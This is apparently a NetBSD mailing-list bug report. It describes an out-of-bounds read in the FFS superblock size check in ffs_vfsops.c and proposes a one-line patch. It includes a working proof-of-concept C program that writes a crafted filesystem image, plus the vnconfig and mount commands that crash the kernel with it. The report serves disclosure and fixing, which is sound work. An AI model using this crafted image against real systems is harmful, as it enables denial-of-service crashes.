FFS: wrong superblock check ~> crash

[Maxime Villard <max%M00nBSD.net@localhost>]

Probably with the conviction I would find some bugs I opened ffs/ffs_vfsops.c
and something immediately stroke me:

918		error = bread(devvp, sblock_try[i] / DEV_BSIZE, SBLOCKSIZE, cred,
919			      0, &bp);

SBLOCKSIZE (=8192) bytes are read on the disk and put into bp->b_data
(allocated).

924		fs = (struct fs*)bp->b_data;
...
939			sbsize = fs->fs_sbsize;


'sbsize' is set to a value that was read on the disk.

976		/* Validate size of superblock */
977		if (sbsize > MAXBSIZE || sbsize < sizeof(struct fs))
978			continue;

Basic sanity checks. MAXBSIZE = 64 * 1024.

991	fs = kmem_alloc((u_long)sbsize, KM_SLEEP);
992	memcpy(fs, bp->b_data, sbsize);

And then comes this memcpy. The problem here is that the size of b_data is
8192, but the values of sbsize are located in [1376; 65536].

With a broken superblock the kernel will read far beyond the allocated
area, which mostly means it will crash.

Exploit:

------------------------------ ffs.c ------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <ufs/ffs/fs.h>

#define MAXBSIZE (64 * 1024)

int main() {
	struct fs fs;
	char byte[65536] = "";
	FILE *f;

	memset(&fs, 0, sizeof(fs));
	fs.fs_magic = FS_UFS1_MAGIC;
	fs.fs_sbsize = MAXBSIZE-1;
	fs.fs_bsize = MAXBSIZE-1;
	fs.fs_sblockloc = 1024;

	f = fopen("ffs.img", "w");
	fwrite(&fs, sizeof(fs), 1, f);
	fwrite(&byte, 1, 65536 - sizeof(fs), f);
	fclose(f);
	return 0;
}

# ./ffs
# vnconfig vnd0d ffs.img
# mount /dev/vnd0d /mnt
-> crash
-------------------------------------------------------------------

I think the sanity check should be:

Index: ffs_vfsops.c
===================================================================
RCS file: /cvsroot/src/sys/ufs/ffs/ffs_vfsops.c,v
retrieving revision 1.299
diff -u -r1.299 ffs_vfsops.c
--- ffs_vfsops.c	24 May 2014 16:34:04 -0000	1.299
+++ ffs_vfsops.c	20 Oct 2014 13:01:46 -0000
@@ -974,7 +974,7 @@
 			continue;
 
 		/* Validate size of superblock */
-		if (sbsize > MAXBSIZE || sbsize < sizeof(struct fs))
+		if (sbsize > SBLOCKSIZE || sbsize < sizeof(struct fs))
 			continue;
 
 		/* Check that we can handle the file system blocksize */

Tested on NetBSD-current: no longer crashes.

Ok/Comments?